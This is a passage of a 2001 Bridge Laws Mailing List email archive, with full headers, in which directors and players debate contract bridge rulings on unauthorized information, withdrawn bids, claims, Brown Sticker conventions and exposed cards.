Jan 2001 14:19:43 +0100 (MET) Message-ID: <3A6E9A3F.F4B0B0FE@village.uunet.be> Date: Wed, 24 Jan 2001 10:02:55 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] penalties AND UI - too much ? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > > > So what is UI? Let us consider a few things. > > 1. When partner led the DK it appears he has the DQ else he would not > have led the King. Is the fact that he has the DQ UI? > yes > 2. When partner led the DK it appears he thought a diamond lead was > best on the hand. Is the fact that he thought the diamond lead best UI? > yes > 3. When partner led the DK it appears he has not got the DA else he > would have led the ace. Is the fact that he has not got the DA UI? > yes > That, surely, is the easy bit. The answer must be yes to all three. > Everyone happy? > yes > 4. Suppose partner has shown 5/6 points in the bidding. Is the fact > that he has not got an ace elsewhere in the hand UI? > yes > This is perhaps less clear. I think most people will say yes, but my > guess is not everyone. Some people will argue that if you can see it on > the table you cannot ignore it, and while it is UI that he has the DQ it > is not UI that he has the DK. > > Note that this item can be extended to lots of deductions: can you > make deductions about the rest of the hand in any way from knowledge of > the DK or is it UI? > UI > 5. Suppose you hold the DA. You need to put partner in to lead a > heart. If you lead a diamond then partner will play the DK. Is it UI > that this is a guaranteed entry? > yes > I do not believe that there will be any consensus on this! Tim seems > to think it is illogical not to play for it but the question is whether > it is UI or whether it is AI. > > Some would argue if it is UI then what does it mean that it is AI that > he will play the king? That is OK: it means [if you follow this > approach] that you may not assume that partner will play the DK for the > purpose of deciding which suit to play at this moment *but* once you > have decided to play a diamond you are permitted to underlead your ace > because of knowledge of what will happen is AI. > exactly > 6. You know declarer has a source of tricks [perhaps a solid club suit > in dummy]. You know that partner's first discard will be the DK > perforce. Is it UI that he will be forced to discard an honour if you > do not get rid of it first? > > I am not sure we know the answer to this one either. > I believe it is AI. "the knowledge that he must play it" is in the laws. That includes discarding, or the laws would have specifically inlcude "to a trick of that suit". Of course when in possesion of both AI and UI that suggest a diamond return it is up to the TD and AC to decide. Which just proves that this law is unworkable. But we knew that as soon as we read it. Which in my case was long before it came into force. The fact that the WBF went ahead with the change even after it was told about the consequences of this, means they really mean it. > If we can answer all six questions then I think we shall know where we > stand with the UI/AI part of L50D1. > -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 00:21:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PDJuv28812 for bridge-laws-outgoing; Fri, 26 Jan 2001 00:19:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.be.uu.net (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PDJjt28799 for ; Fri, 26 Jan 2001 00:19:46 +1100 (EST) Received: from village.uunet.be (uu212-190-2-22.unknown.uunet.be [212.190.2.22]) by bru5-smtp-out1.be.uu.net (8.11.2/8.11.2) with ESMTP id f0PDJdu29827 for ; Thu, 25 Jan 2001 14:19:40 +0100 (MET) Message-ID: <3A6E9299.ABC0381B@village.uunet.be> Date: Wed, 24 Jan 2001 09:30:17 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Let's get back to the easy stuff References: <3A6C4E5E.8274A409@village.uunet.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Sorry David, for not answering the correct question. David Stevenson wrote: > > Herman De Wael writes > >David Stevenson wrote: > > >> >I don't see how - I agree with Jacs; what's in your hand is AI to you. > > >> Of course what is in my hand is - but is the fact that I have bid 1S > >> AI? > [my answer snipped] > > Herman - I am not disagreeing with the above, but I am talking about a > different timescale, and I am not sure we have discussed it. > > You make a bid, you withdraw it, *then* is the fact that you made it > AI? It is no longer on the table, it is UI to your pd - what about to > yourself? > At first glace, this seems a moot question. After all, what information does this carry ? The 1Sp bid, combined with the circumstances under which it was made and retracted, tells something about your hand. That is UI to partner, AI to opponents, but hardly of use to you, since you already have AI about what is in your hand (nobody disagrees that your 13 cards are AI to you? The laws don't say so, after all !) A second type of information is that partner, and sometimes yourself are now barred from performing some actions ("if you bid spades again, your partner must pass once, otherwise he must pass throughout"). Those barrings are in themselves AI. David sees a third type of information. The withdrawn bid has told the opponents something, which is AI to them. Are you allowed to base your future actions upon this fact, by revealing and hiding other pieces of information from them as to maximise the "advantage" ? (his example was about not naming a six card suit, since partner was barred after all) Again I don't see what the information is. You know that partner is barred. You know that everything you now bid is helpful for opponents only. All that is AI. Ah yes, the information is "opponents know what I've already told them". That is useful. Well, IMHO, this is not covered by the Laws. Logic dictates that this is AI to me. As long as the Laws don't say anything that goes against the logic of the situation, it should be AI. Compare it to: "the knowledge of your own hand is AI" - logical, and the laws say nothing = AI. "you are not allowed to know your partner has the DA, even when you see it lying in front of you" - illogical, but the laws say this = UI. For David's case, I vote AI. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 00:21:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PDKRn28823 for bridge-laws-outgoing; Fri, 26 Jan 2001 00:20:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.be.uu.net (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PDKKt28816 for ; Fri, 26 Jan 2001 00:20:20 +1100 (EST) Received: from village.uunet.be (uu212-190-2-22.unknown.uunet.be [212.190.2.22]) by bru5-smtp-out1.be.uu.net (8.11.2/8.11.2) with ESMTP id f0PDKFu00242 for ; Thu, 25 Jan 2001 14:20:16 +0100 (MET) Message-ID: <3A7010BB.B3451E48@village.uunet.be> Date: Thu, 25 Jan 2001 12:40:43 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Let's get back to the easy stuff References: <4.3.2.7.1.20010124074904.00b2a5e0@127.0.0.1> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Eric Landau wrote: > > At 10:14 AM 1/22/01, Herman wrote: > > >The bid you have made is AI, but the fact that you have made > >it is UI. > >So if you intended to bid 1He, and you've put down 1Sp, your > >bid of 1Sp is UI. > >This can become AI again when something happens at the table > >(that is in itself AI, such as a bid by partner or opponent > >that is incomprehensible) that makes you ask for a review of > >the auction. > > Would this not mean that you are not permitted to ask for a review for > the sole purpose of making the fact that you yourself made the bid AI > to yourself, and thus make your decision to ask for a review of the > auction subject to adjudication of merit by a TD or AC? I can hear it > now -- "He only asked for that review so he would know that he bid what > he knew he bid; we want an adjustment!" Is that not as ridiculous as > it sounds (as well as an outright contradiction of L20B)? > No, since I am not saying that the player needs to ask for a review (after all, the bidding cards are there right in front of him). All I am saying is that one's own bid, if not what one intended, is UI to oneself, until such time as it becomes normal for a player to ask for a review. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 00:22:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PDKdr28837 for bridge-laws-outgoing; Fri, 26 Jan 2001 00:20:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.be.uu.net (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PDKRt28825 for ; Fri, 26 Jan 2001 00:20:28 +1100 (EST) Received: from village.uunet.be (uu212-190-2-22.unknown.uunet.be [212.190.2.22]) by bru5-smtp-out1.be.uu.net (8.11.2/8.11.2) with ESMTP id f0PDKOu00319 for ; Thu, 25 Jan 2001 14:20:24 +0100 (MET) Message-ID: <3A7020AA.98F5E840@village.uunet.be> Date: Thu, 25 Jan 2001 13:48:42 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Claim? References: <200101222054.MAA17289@mailhub.irvine.com> <00cf01c08629$ce86dd60$9a9c1e18@san.rr.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Marvin L. French" wrote: > > > This was a mis-spelling possibly through haste. > > > Misspelling > I thought it was Miss Spelling, as in that awful actress with the producer father. > Marv > San Diego, CA, USA > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 00:22:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PDKal28836 for bridge-laws-outgoing; Fri, 26 Jan 2001 00:20:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.be.uu.net (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PDKQt28822 for ; Fri, 26 Jan 2001 00:20:26 +1100 (EST) Received: from village.uunet.be (uu212-190-2-22.unknown.uunet.be [212.190.2.22]) by bru5-smtp-out1.be.uu.net (8.11.2/8.11.2) with ESMTP id f0PDKJu00272 for ; Thu, 25 Jan 2001 14:20:20 +0100 (MET) Message-ID: <3A701408.B57E2685@village.uunet.be> Date: Thu, 25 Jan 2001 12:54:48 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Let's get back to the easy stuff References: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> <000b01c0860e$1a363c40$b96101d5@pbncomputer> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn wrote: > > > Funny you should say that. The other day, a resourceful operator in the > Ł10 per 100 game at TGR's held these cards: > > A K2 63 AKQJ8754 (a 17 count, but the jack of clubs proved > irrelevant). His partner was no great striker of the ball, so rather > than get involved in an auction beginning with 1C or 2C, he decided to > open 1D and rebid 3NT after his partner's response of 1H. A spade lead > (from Qxxx) allowed eleven tricks to be made; a diamond lead (from > K10xxx) would have defeated the contract. > > Now, on this occasion the opening bid was at the player's turn, thus > perfectly legal. But it is certainly conceivable that had it not been > the player's turn, an "accidental" opening bid of 1D out of turn > followed by a "guess" at 3NT at his actual turn could (and would) have > worked to his benefit. > > David Burn > London, England > Let's take the hypothetical case of the player acting just as DB suggests (1Di out of turn and then 3NT), and apply (whose was it - Steve ?) the suggested test to it. At the moment before the infraction, the player does not know what level the contract is supposed to be played at. Yet from his action of opening 1Di, we can conclude that he does not believe it is higher than 3NT. At least he does not want to play higher. The expectancy before the opening is therefor only slightly different from the expectancy of making 3NT after a psychic diamond opening. We can see a few differences, but soe of those will cancel out. The expectancy of the same contract after silencing partner is higher, I believe. One of the possibilities with a non-silent partner is of a return to the diamond suit. This brings down the result. Also, when third or second in hand, the ruse is slightly less certain to be working. That too raises the expectancy above the level of the simple case. So I'd vote that the 1Di hors-tour opener "could have known that silencing partner might benefit". -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 00:22:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PDKfh28838 for bridge-laws-outgoing; Fri, 26 Jan 2001 00:20:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.be.uu.net (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PDKUt28829 for ; Fri, 26 Jan 2001 00:20:30 +1100 (EST) Received: from village.uunet.be (uu212-190-2-22.unknown.uunet.be [212.190.2.22]) by bru5-smtp-out1.be.uu.net (8.11.2/8.11.2) with ESMTP id f0PDKPu00344 for ; Thu, 25 Jan 2001 14:20:26 +0100 (MET) Message-ID: <3A70243F.180AE356@village.uunet.be> Date: Thu, 25 Jan 2001 14:03:59 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: [BLML] mailing problems Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I was not able to post my replies to all posts of tuesday yet. I've read many replies since then, and created a few new ones. Hoping that this does get away later today, I already apologize if some of my answers have been superseded. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 00:35:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PDY6R28886 for bridge-laws-outgoing; Fri, 26 Jan 2001 00:34:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from batman.npl.co.uk (batman.npl.co.uk [139.143.5.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PDXxt28882 for ; Fri, 26 Jan 2001 00:33:59 +1100 (EST) Received: from herschel.npl.co.uk ([139.143.1.16]) by batman.npl.co.uk (8.11.0/8.11.0) with ESMTP id f0PDXsf19907 for ; Thu, 25 Jan 2001 13:33:54 GMT Received: (from root@localhost) by herschel.npl.co.uk (8.11.0/8.11.0) id f0PDXrb02942 for ; Thu, 25 Jan 2001 13:33:53 GMT Received: by herschel.npl.co.uk XSMTPD/VSCAN; Thu, 25 Jan 2001 13:33:52 GMT Received: from tempest.npl.co.uk (tempest [139.143.18.16]) by capulin.cise.npl.co.uk (8.9.3/8.9.3) with ESMTP id NAA13205 for ; Thu, 25 Jan 2001 13:33:52 GMT Received: (from rmb1@localhost) by tempest.npl.co.uk (8.9.1b+Sun/8.9.1) id NAA11830 for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 13:33:51 GMT Date: Thu, 25 Jan 2001 13:33:51 GMT From: Robin Barker Message-Id: <200101251333.NAA11830@tempest.npl.co.uk> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: Eric Landau > > At 12:18 PM 1/23/01, Craig wrote: > > >We're making 12 tricks is a claim...even > >if it is preceded by I'll bet you a beer. > > To a betting man (or anyone else concerned with probability in either a > theoretical or a practical context) the statement "I'll bet you a beer > we're making 12 tricks" is a statement to the effect that I believe I > am more likely to do so than to fail to do so. It is in no way a > statement to the effect that I *will* do so. [ I never thought I would read this thread, never mind contribute to it. ] If instead declarer said "You will owe me a beer" without stating a number of tricks. Do we award him the (least) number of tricks consistent with any normal line making D7 at the last trick? Robin -- Robin Barker | Email: Robin.Barker@npl.co.uk CMSC, Building 10, | Phone: +44 (0) 20 8943 7090 National Physical Laboratory, | Fax: +44 (0) 20 8977 7091 Teddington, Middlesex, UK. TW11 OLW | WWW: http://www.npl.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 01:50:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PEm6F10781 for bridge-laws-outgoing; Fri, 26 Jan 2001 01:48:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cobalt3-he.global.net.uk (cobalt3-he.global.net.uk [195.147.246.163]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PElwt10742 for ; Fri, 26 Jan 2001 01:47:59 +1100 (EST) Received: from p8es11a10.client.global.net.uk ([195.147.123.143] helo=pacific) by cobalt3-he.global.net.uk with smtp (Exim 2.12 #1) id 14Lnd1-00070N-00; Thu, 25 Jan 2001 06:43:59 -0800 Message-ID: <004101c086dd$a8f1fee0$cf6393c3@pacific> From: "Grattan Endicott" To: "Marvin L. French" , References: <001201c08572$7416ef80$b42b7bd5@dodona> <00af01c08628$65fbf9c0$9a9c1e18@san.rr.com> Subject: Re: [BLML] Fw: wbf brown sticker question Date: Thu, 25 Jan 2001 14:35:47 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott ----- Original Message ----- From: Marvin L. French To: Sent: 24 January 2001 17:06 Subject: Re: [BLML] Fw: wbf brown sticker question > > From: "Grattan Endicott" > > > > > > > > > I have just read an article of yours on WBF > > > > conventions on David Stevenson's page and > > > > have a question. If I play a 2D opening as a > > > > 5-5 major/minor two suiter is it allowed (as > > > > a multi variant) or is it banned (because the > > > > anchor suit is unknown)? > > > > > > > > > > > +=+ This is a Brown Sticker convention and > > > may not be played in tournaments where > > > Brown Sticker (BS) conventions are prohibited. > > > Regarding the multi the WBF Systems Policy > > > says that what is not BS is an opening bid of > > > two in a minor suit that shows "a weak two in > > > either major, whether with or without the > > > option of strong hand types, as described in > > > the WBF Conventions Booklet". > > Does that mean only an unspecified major, only a > specified major, or whichever? > +=+ It means an agreement that 2D shows 'a weak two in either major' etc. +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 02:12:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PFAqc18703 for bridge-laws-outgoing; Fri, 26 Jan 2001 02:10:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from c002000.winterthur.ch (c002000.winterthur.ch [194.40.39.20] (may be forged)) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PFAVt18591 for ; Fri, 26 Jan 2001 02:10:34 +1100 (EST) Received: from chmail01b.winterthur.ch ([194.40.41.84]) by c002000.winterthur.ch (8.9.3/8.9.3) with ESMTP id QAA20734; Thu, 25 Jan 2001 16:10:20 +0100 (MET) Received: by C006652.winterthur.ch with Internet Mail Service (5.5.2652.35) id ; Thu, 25 Jan 2001 16:08:58 +0100 Message-ID: <61D8D74E23E8D211938B0008C79F926602343224@WIEXHU01> From: Kerenyi Istvan To: bridge-laws@rgb.anu.edu.au, =?iso-8859-2?Q?Kov=E1cs_Andr=E1s?= , =?iso-8859-2?Q?Szil=E1gyi_L=E1szl=F3?= , =?iso-8859-2?Q?G=E1l_P=E9ter?= , =?iso-8859-2?Q?Homonnay_G=E9za?= , =?iso-8859-2?Q?Kelen_K=E1roly?= , Kerenyi Istvan , =?iso-8859-2?Q?Marjai_Gy=F6rgy?= , =?iso-8859-2?Q?Sztrapkovics_L=E1szl=F3?= , Vikor Dani , =?iso-8859-2?Q?=27Bo=F3c_Andr=E1s=27?= Subject: [BLML] Date: Thu, 25 Jan 2001 16:01:45 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Dear Colleagues, may I have your opinion on the following board. North QJT7652 - Q72 AJ5 West East - A98 QJ76 K985 543 T98 K97654 Q32 South K43 AT432 AKJ6 T IMP pairs.Both Vulnerable Dealer West. East-West all pass North opens 2 diamonds explained as either weak two major or 17-21 any 3-suiter South bids 2 NT relay, North 3 hearts, South 4 NT, North 5 diamonds, South 6 hearts. West now asks South what 3 hearts meant.South answers 17-21 3-suiter, short spade. West passes, North bids 6 spades. West now calls TD. TD orders to continue. East doubles. East leads 8 of hearts, 6 spades doubled made. TD is called back and decides result to stand because of the double of East. Thanks istvan.kerenyi@winterthur.hu -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 02:16:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PFF5620177 for bridge-laws-outgoing; Fri, 26 Jan 2001 02:15:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PFEvt20146 for ; Fri, 26 Jan 2001 02:14:58 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id KAA28411; Thu, 25 Jan 2001 10:14:42 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA249585681; Thu, 25 Jan 2001 10:14:41 -0500 X-Openmail-Hops: 1 Date: Thu, 25 Jan 2001 10:14:08 -0500 Message-Id: Subject: RE: [BLML] Claim? From: Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge-laws@rgb.anu.edu.au, hirsch_d@mindspring.com Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hirsch wrote: >What an excellent idea! I don't think we need to give the test on the >laws at each tournament, but it might be a good idea to require it of >players at least once in their bridge development. Perhaps we could >make it part of the requirements for becoming a Life Master. That >way, we aren't troubling the novices or the perennial Flight C >players with such trivial things as the rules of the game, and we can >have some assurance that anyone called a "Life >Master" has looked at the Law Book at least once. _____________________________________________________________________ Asking players to know basic rules before becoming LM is an excellent idea but IMHO even novices must know some laws before playing this game in clubs and tournaments. Every time I can, I repeat that teaching laws must be part of basic bridge teaching. It is quite easy to design a serie of lessons to teach players what to do and not to do at the table : calling the TD, LOOT, claims, hesitations an other cases of UI, revokes, etc... My school of bridge run such an activity for years (5 lessons, half an hour on laws and they play bridge for 2 hours). Students enjoy and thx us later for having prepare them to play in clubs and be confident. Recently, one of them asked politly to TD to look at Law 25 in his lawbook..(insuff. bid was a convention). For persons already playing this game in clubs and tournaments my suggestion is that SOS (as ACBL) run seminars on laws at every major event (as regionals and nationals). These presentations should be design for players and not for club directors, but I am sure most of them would learn a lot... Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 03:24:37 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PGOAV02717 for bridge-laws-outgoing; Fri, 26 Jan 2001 03:24:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PGO3t02713 for ; Fri, 26 Jan 2001 03:24:04 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id LAA10169 for ; Thu, 25 Jan 2001 11:23:59 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id LAA26130 for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 11:23:59 -0500 (EST) Date: Thu, 25 Jan 2001 11:23:59 -0500 (EST) From: Steve Willner Message-Id: <200101251623.LAA26130@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Exposed Card before auction begins (?) X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "David Burn" > Most players, in my experience, do this: (1) they take their cards out > of the board and count them; (2) they pick them up in a single pile and > lift them towards their eyes; (3) they look first at the face of the > bottom card of the pile; (4) they fan the cards and look at the faces of > the rest of them; (5) they sort their hand. If one had to produce a > "common sense" interpretation of the law, my view is that the auction > period would begin at stage 3, rather than at some indeterminate point > during stage 4. That seems right to me, too, for whatever that's worth, although some players fan the cards before looking at any of them. "Looks" implies positive action, as someone else pointed out. It isn't the same as "sees." I think the number of cards is immaterial. > However, this question is not particularly relevant. Law 24 does not > require that the exposed card have been exposed during the auction for > the penalties contained in the Law to apply. It requires only that a > determination be made during the auction that the face of a player's > card could have been visible to his partner. This looks correct, too. It is the "determines" that must come during the auction, not the "seen," which can be in the past and in particular can be before the auction began. Also note the necessity for a "player's action," but not a player's intention. L24 would not apply if the board arrives with the top card in a pocket face up or if the caddy dumps cards out of the board. The only thing to add is that if the auction has not begun, L16B might apply. Note that L16B, unlike L24, refers to "seeing," not to the card's having been in a position to be seen. Let's suppose West flips a card face up (in a position where East could see if if East is looking) while taking his cards out of the board. I think the right procedure for the TD is: 1. Did East see the card? If so, rule under L16B. 2. If play continues, either because East did not see the card or because the TD deems the information immaterial, apply L24, but see number 3 below. 3. The TD should offer the NOS the option of waiving the penalty. I am not suggesting this because the flipping the card over was unintentional but because waiving the penalty may benefit the NOS. (They will get a normal result if they do so but possibly an abnormal result if they don't, so it might be to their advantage to waive the penalty. This strikes me as good cause under L81C8.) Of course the NOS can make their decision on any basis they consider proper. The above procedure is probably not the way I would have written the rules -- and I wouldn't expect the average TD to get it right -- but it seems to be what the FLB is telling us. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 03:38:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PGccX02731 for bridge-laws-outgoing; Fri, 26 Jan 2001 03:38:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PGcWt02727 for ; Fri, 26 Jan 2001 03:38:32 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id LAA10986 for ; Thu, 25 Jan 2001 11:38:29 -0500 